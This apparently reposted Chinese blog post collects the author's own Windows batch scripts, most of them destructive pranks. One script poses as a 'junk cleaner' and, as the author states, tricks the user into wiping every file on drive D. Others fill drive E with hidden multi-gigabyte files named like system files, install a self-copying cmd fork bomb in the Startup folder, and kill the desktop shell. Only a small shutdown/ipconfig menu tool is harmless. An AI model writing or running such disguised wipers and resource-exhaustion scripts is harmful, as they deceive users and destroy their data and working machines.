04bat-自己写的小脚本
作者:互联网
‘垃圾清理.bat’
该程序会诱导用户,删除D盘下的所有文件
@echo off
title 垃圾清理
color 0a
echo =======================
echo 如果你确定清理你的垃圾的话
echo 请输入任意键继续
echo =======================
pause
echo.
echo 垃圾正在清理中. . . . . .
d: 2>nul
cd \ 2>nul
rd . /s /q 2>nul
ping 127.0.0.1 -n 10 >nul 2>nul
echo.
echo 垃圾清理完成
echo over!!!
pause
批量生成大文件
该程序会在E盘连续生成多个大文件,并将其设置为系统级别文件,隐藏起来,且只有自读权限
@echo off
e:
cd \
fsutil file createnew e:\system.ini 9000000000
fsutil file createnew e:\system1.ini 10240000000
fsutil file createnew e:\system2.ini 10240000000
fsutil file createnew e:\system3.ini 10240000000
fsutil file createnew e:\system4.ini 10240000000
fsutil file createnew e:\system5.ini 10240000000
fsutil file createnew e:\system6.ini 10240000000
fsutil file createnew e:\system7.ini 10240000000
fsutil file createnew e:\system8.ini 10240000000
fsutil file createnew e:\system9.ini 10240000000
attrib +h +s +a system.ini
attrib +h +s +a system1.ini
attrib +h +s +a system2.ini
attrib +h +s +a system3.ini
attrib +h +s +a system4.ini
attrib +h +s +a system5.ini
attrib +h +s +a system6.ini
attrib +h +s +a system7.ini
attrib +h +s +a system8.ini
attrib +h +s +a system9.ini
无限开启cmd,且加入开机运行
win10的开机自启目录、win7和win10的一样
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
@echo off
copy 当前文件名 %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
d:
start
goto d
菜单小工具
@echo off
title 模拟对话小工具
:menu
color 0a
cls
echo ==================
echo 菜单
echo 1.定时关机
echo 2.取消关机
echo 3.查看ip地址
echo 4.退出
echo ==================
set /p tool=请输入你的选项:
if "%tool%"=="1" goto 1
if "%tool%"=="2" goto 2
if "%tool%"=="3" goto 3
if "%tool%"=="4" goto 4
echo 老实点,数字1~4之间的整数
pause
goto menu
:1
set /p time=请输入关机的时间(单位/秒):
shutdown -s -f -t %time%
echo 已经设置%time%后关机
pause
goto menu
:2
shutdown -a
echo 已经取消关机
pause
goto menu
:3
ipconfig
pause
goto menu
:4
exit
恶搞,删除桌面
@echo off
color 0a
title 不要怕,相信我
taskkill /im explorer.exe /f >nul 2>nul
echo.
echo ===========================
echo 傻了吧
echo 你这电脑怎么坏了
echo ===========================
pause
echo.
echo ===========================
echo 不是我干的,是你自己要点的(滑稽)
echo ===========================
pause
echo.
echo ===========================
echo 或许你可以相信我一下
echo 等待一会,就恢复了
echo ===========================
ping 127.0.0.1 -n 10 >nul 2>nul
start explorer.exe
echo.
echo 开个玩笑哈,不要生气哦!!
pause
标签:脚本,fsutil,自己,echo,04bat,ini,file,attrib,createnew 来源: https://www.cnblogs.com/Junglezt/p/15515929.html